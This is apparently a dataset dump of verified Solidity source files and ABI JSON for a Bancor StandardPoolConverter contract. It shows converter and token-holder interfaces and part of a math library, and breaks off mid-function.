IERC20","name":"_token","type":"address"},{"internalType":"uint32","name":"_weight","type":"uint32"}],"name":"addReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"anchor","outputs":[{"internalType":"contract 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IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"getReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isV28OrHigher","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxConversionFee","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"onUpgradeComplete","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"onlyOwnerCanUpdateRegistry","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prevRegistry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processNetworkFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"}],"name":"recentAverageRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"registry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveMinReturnAmounts","type":"uint256[]"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"}],"name":"removeLiquidityReturn","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_reserveToken","type":"address"}],"name":"reserveBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveBalances","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokens","outputs":[{"internalType":"contract IERC20[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_reserveToken","type":"address"}],"name":"reserveWeight","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"restoreRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_onlyOwnerCanUpdateRegistry","type":"bool"}],"name":"restrictRegistryUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_conversionFee","type":"uint32"}],"name":"setConversionFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sourceAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"syncReserveBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"targetAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newConverter","type":"address"}],"name":"transferReservesOnUpgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000dbd62d3c1405d28c57f51c823d9d14f3f4a54e2000000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd400000000000000000000000000000000000000000000000000000000000003e8 | Default | false | ||||
StandardPoolConverter | solidity/contracts/converter/ConverterVersion.sol | 0xe9db9908a2aa69753a5ed89827b35a2b827d87ea | Solidity | pragma solidity 0.6.12;
contract ConverterVersion {
uint16 public constant version = 46;
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_toToken","type":"address"},{"indexed":true,"internalType":"address","name":"_trader","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_return","type":"uint256"},{"indexed":false,"internalType":"int256","name":"_conversionFee","type":"int256"}],"name":"Conversion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint32","name":"_prevFee","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"_newFee","type":"uint32"}],"name":"ConversionFeeUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_provider","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_reserveToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newSupply","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_provider","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_reserveToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newSupply","type":"uint256"}],"name":"LiquidityRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"_newOwner","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"_token1","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_token2","type":"address"},{"indexed":false,"internalType":"uint256","name":"_rateN","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_rateD","type":"uint256"}],"name":"TokenRateUpdate","type":"event"},{"inputs":[],"name":"acceptAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"},{"internalType":"uint256","name":"_minReturn","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256","name":"_reserveTokenIndex","type":"uint256"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityCost","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"}],"name":"addLiquidityReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"uint32","name":"_weight","type":"uint32"}],"name":"addReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"anchor","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"averageRateInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"connectorTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"connectorTokens","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_address","type":"address"}],"name":"connectors","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint32","name":"","type":"uint32"},{"internalType":"bool","name":"","type":"bool"},{"internalType":"bool","name":"","type":"bool"},{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"conversionFee","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"address","name":"_trader","type":"address"},{"internalType":"address payable","name":"_beneficiary","type":"address"}],"name":"convert","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[],"name":"converterType","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_connectorToken","type":"address"}],"name":"getConnectorBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"getReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isActive","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"isV28OrHigher","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"maxConversionFee","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"newOwner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"onUpgradeComplete","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"onlyOwnerCanUpdateRegistry","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"prevRegistry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"processNetworkFees","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"}],"name":"recentAverageRate","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"registry","outputs":[{"internalType":"contract IContractRegistry","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveMinReturnAmounts","type":"uint256[]"}],"name":"removeLiquidity","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"},{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"}],"name":"removeLiquidityReturn","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_reserveToken","type":"address"}],"name":"reserveBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveBalances","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"reserveTokens","outputs":[{"internalType":"contract IERC20[]","name":"","type":"address[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_reserveToken","type":"address"}],"name":"reserveWeight","outputs":[{"internalType":"uint32","name":"","type":"uint32"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"restoreRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_onlyOwnerCanUpdateRegistry","type":"bool"}],"name":"restrictRegistryUpdate","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint32","name":"_conversionFee","type":"uint32"}],"name":"setConversionFee","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"sourceAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"syncReserveBalances","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_sourceToken","type":"address"},{"internalType":"contract IERC20","name":"_targetToken","type":"address"},{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"targetAmountAndFee","outputs":[{"internalType":"uint256","name":"","type":"uint256"},{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"token","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newConverter","type":"address"}],"name":"transferReservesOnUpgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"_newOwner","type":"address"}],"name":"transferTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"updateRegistry","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"upgrade","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"version","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"stateMutability":"payable","type":"receive"}] | v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000dbd62d3c1405d28c57f51c823d9d14f3f4a54e2000000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd400000000000000000000000000000000000000000000000000000000000003e8 | Default | false | ||||
StandardPoolConverter | solidity/contracts/converter/interfaces/IConverter.sol | 0xe9db9908a2aa69753a5ed89827b35a2b827d87ea | Solidity | pragma solidity 0.6.12;
/*
Converter interface
*/
interface IConverter is IOwned {
function converterType() external pure returns (uint16);
function anchor() external view returns (IConverterAnchor);
function isActive() external view returns (bool);
function targetAmountAndFee(
IERC20 _sourceToken,
IERC20 _targetToken,
uint256 _amount
) external view returns (uint256, uint256);
function convert(
IERC20 _sourceToken,
IERC20 _targetToken,
uint256 _amount,
address _trader,
address payable _beneficiary
) external payable returns (uint256);
function conversionFee() external view returns (uint32);
function maxConversionFee() external view returns (uint32);
function reserveBalance(IERC20 _reserveToken) external view returns (uint256);
receive() external payable;
function transferAnchorOwnership(address _newOwner) external;
function acceptAnchorOwnership() external;
function setConversionFee(uint32 _conversionFee) external;
function addReserve(IERC20 _token, uint32 _weight) external;
function transferReservesOnUpgrade(address _newConverter) external;
function onUpgradeComplete() external;
// deprecated, backward compatibility
function token() external view returns (IConverterAnchor);
function transferTokenOwnership(address _newOwner) external;
function acceptTokenOwnership() external;
function connectors(IERC20 _address)
external
view
returns (
uint256,
uint32,
bool,
bool,
bool
);
function getConnectorBalance(IERC20 _connectorToken) external view returns (uint256);
function connectorTokens(uint256 _index) external view returns (IERC20);
function connectorTokenCount() external view returns (uint16);
/**
* @dev triggered when the converter is activated
*
* @param _type converter type
* @param _anchor converter anchor
* @param _activated true if the converter was activated, false if it was deactivated
*/
event Activation(uint16 indexed _type, IConverterAnchor indexed _anchor, bool indexed _activated);
/**
* @dev triggered when a conversion between two tokens occurs
*
* @param _fromToken source ERC20 token
* @param _toToken target ERC20 token
* @param _trader wallet that initiated the trade
* @param _amount input amount in units of the source token
* @param _return output amount minus conversion fee in units of the target token
* @param _conversionFee conversion fee in units of the target token
*/
event Conversion(
IERC20 indexed _fromToken,
IERC20 indexed _toToken,
address indexed _trader,
uint256 _amount,
uint256 _return,
int256 _conversionFee
);
/**
* @dev triggered when the rate between two tokens in the converter changes
* note that the event might be dispatched for rate updates between any two tokens in the converter
*
* @param _token1 address of the first token
* @param _token2 address of the second token
* @param _rateN rate of 1 unit of `_token1` in `_token2` (numerator)
* @param _rateD rate of 1 unit of `_token1` in `_token2` (denominator)
*/
event TokenRateUpdate(IERC20 indexed _token1, IERC20 indexed _token2, uint256 _rateN, uint256 _rateD);
/**
* @dev triggered when the conversion fee is updated
*
* @param _prevFee previous fee percentage, represented in ppm
* @param _newFee new fee percentage, represented in ppm
*/
event ConversionFeeUpdate(uint32 _prevFee, uint32 _newFee);
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_toToken","type":"address"},{"indexed":true,"internalType":"address","name":"_trader","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_return","type":"uint256"},{"indexed":false,"internalType":"int256","name":"_conversionFee","type":"int256"}],"name":"Conversion","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint32","name":"_prevFee","type":"uint32"},{"indexed":false,"internalType":"uint32","name":"_newFee","type":"uint32"}],"name":"ConversionFeeUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_provider","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_reserveToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newSupply","type":"uint256"}],"name":"LiquidityAdded","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_provider","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_reserveToken","type":"address"},{"indexed":false,"internalType":"uint256","name":"_amount","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newBalance","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_newSupply","type":"uint256"}],"name":"LiquidityRemoved","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"_prevOwner","type":"address"},{"indexed":true,"internalType":"address","name":"_newOwner","type":"address"}],"name":"OwnerUpdate","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"_token1","type":"address"},{"indexed":true,"internalType":"contract IERC20","name":"_token2","type":"address"},{"indexed":false,"internalType":"uint256","name":"_rateN","type":"uint256"},{"indexed":false,"internalType":"uint256","name":"_rateD","type":"uint256"}],"name":"TokenRateUpdate","type":"event"},{"inputs":[],"name":"acceptAnchorOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"acceptTokenOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"},{"internalType":"uint256","name":"_minReturn","type":"uint256"}],"name":"addLiquidity","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256","name":"_reserveTokenIndex","type":"uint256"},{"internalType":"uint256","name":"_reserveAmount","type":"uint256"}],"name":"addLiquidityCost","outputs":[{"internalType":"uint256[]","name":"","type":"uint256[]"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20[]","name":"_reserveTokens","type":"address[]"},{"internalType":"uint256[]","name":"_reserveAmounts","type":"uint256[]"}],"name":"addLiquidityReturn","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract IERC20","name":"_token","type":"address"},{"internalType":"uint32","name":"_weight","type":"uint32"}],"name":"addReserve","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"anchor","outputs":[{"internalType":"contract IConverterAnchor","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"averageRateInfo","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"connectorTokenCount","outputs":[{"internalType":"uint16","name":"","type":"uint16"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"uint256","name":"_index","type":"uint256"}],"name":"connectorTokens","outputs":[{"internalType":"contract IERC20","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"contract 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| v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000dbd62d3c1405d28c57f51c823d9d14f3f4a54e2000000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd400000000000000000000000000000000000000000000000000000000000003e8 | Default | false | ||||
StandardPoolConverter | solidity/contracts/utility/interfaces/ITokenHolder.sol | 0xe9db9908a2aa69753a5ed89827b35a2b827d87ea | Solidity | pragma solidity 0.6.12;
/*
Token Holder interface
*/
interface ITokenHolder is IOwned {
receive() external payable;
function withdrawTokens(
IERC20 token,
address payable to,
uint256 amount
) external;
function withdrawTokensMultiple(
IERC20[] calldata tokens,
address payable to,
uint256[] calldata amounts
) external;
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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| v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000dbd62d3c1405d28c57f51c823d9d14f3f4a54e2000000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd400000000000000000000000000000000000000000000000000000000000003e8 | Default | false | ||||
StandardPoolConverter | solidity/contracts/INetworkSettings.sol | 0xe9db9908a2aa69753a5ed89827b35a2b827d87ea | Solidity | pragma solidity 0.6.12;
interface INetworkSettings {
function networkFeeParams() external view returns (ITokenHolder, uint32);
function networkFeeWallet() external view returns (ITokenHolder);
function networkFee() external view returns (uint32);
} | [{"inputs":[{"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"internalType":"contract IContractRegistry","name":"_registry","type":"address"},{"internalType":"uint32","name":"_maxConversionFee","type":"uint32"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"uint16","name":"_type","type":"uint16"},{"indexed":true,"internalType":"contract IConverterAnchor","name":"_anchor","type":"address"},{"indexed":true,"internalType":"bool","name":"_activated","type":"bool"}],"name":"Activation","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"contract IERC20","name":"_fromToken","type":"address"},{"indexed":true,"internalType":"contract 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| v0.6.12+commit.27d51765 | true | 200 | 000000000000000000000000dbd62d3c1405d28c57f51c823d9d14f3f4a54e2000000000000000000000000052ae12abe5d8bd778bd5397f99ca900624cfadd400000000000000000000000000000000000000000000000000000000000003e8 | Default | false | ||||
StandardPoolConverter | solidity/contracts/utility/MathEx.sol | 0xe9db9908a2aa69753a5ed89827b35a2b827d87ea | Solidity | pragma solidity 0.6.12;
/**
* @dev This library provides a set of complex math operations.
*/
library MathEx {
uint256 private constant MAX_EXP_BIT_LEN = 4;
uint256 private constant MAX_EXP = 2**MAX_EXP_BIT_LEN - 1;
uint256 private constant MAX_UINT128 = 2**128 - 1;
/**
* @dev returns the largest integer smaller than or equal to the square root of a positive integer
*
* @param _num a positive integer
*
* @return the largest integer smaller than or equal to the square root of the positive integer
*/
function floorSqrt(uint256 _num) internal pure returns (uint256) {
uint256 x = _num / 2 + 1;
uint256 y = (x + _num / x) / 2;
while (x > y) {
x = y;
y = (x + _num / x) / 2;
}
return x;
}
/**
* @dev returns the smallest integer larger than or equal to the square root of a positive integer
*
* @param _num a positive integer
*
* @return the smallest integer larger than or equal to the square root of the positive integer
*/
function ceilSqrt(uint256 _num) internal pure returns (uint256) {
uint256 x = floorSqrt(_num);
return x * x == _num ? x : x + 1;
}
/**
* @dev computes a powered ratio
*
* @param _n ratio numerator
* @param _d ratio denominator
* @param _exp ratio exponent
*
* @return powered ratio's numerator and denominator
*/
function poweredRatio(
uint256 _n,
uint256 _d,
uint256 _exp
) internal pure returns (uint256, uint256) {
require(_exp <= MAX_EXP, "ERR_EXP_TOO_LARGE");
uint256[MAX_EXP_BIT_LEN] memory ns;
uint256[MAX_EXP_BIT_LEN] memory ds;
(ns[0], ds[0]) = reducedRatio(_n, _d, MAX_UINT128);
for (uint256 i = 0; (_exp >> i) > 1; i++) {
(ns[i + 1], ds[i + 1]) = reducedRatio(ns[i] ** 2, ds[i] ** 2, MAX_UINT128);
}
uint256 n = 1;
uint256 d = 1;
for (uint256 i = 0; (_exp >> i) > 0; i++) {
if (((_exp >> i) & 1) > 0) {
(n, d) = reducedRatio(n * ns[i], d * ds[i], MAX_UINT128);
}
}
return (n, d);
}
/**
* @dev computes a reduced-scalar ratio
*
* @param _n ratio numerator
* @param _d ratio denominator
* @param _max maximum desired scalar
*
* @return ratio's numerator and denominator
*/
function reducedRatio(
uint256 _n,
uint256 _d,
uint256 _max
) internal pure returns (uint256, uint256) {
(uint256 n, uint256 d) = (_n, _d);
if (n > _max || d > _max) {
(n, d) = normalizedRatio(n, d, _max);
}
if (n != d) {
return (n, d);
}
return (1, 1);
}
/**
* @dev computes "scale * a / (a + b)" and "scale * b / (a + b)".
*/
function normalizedRatio(
uint256 _a,
uint256 _b,
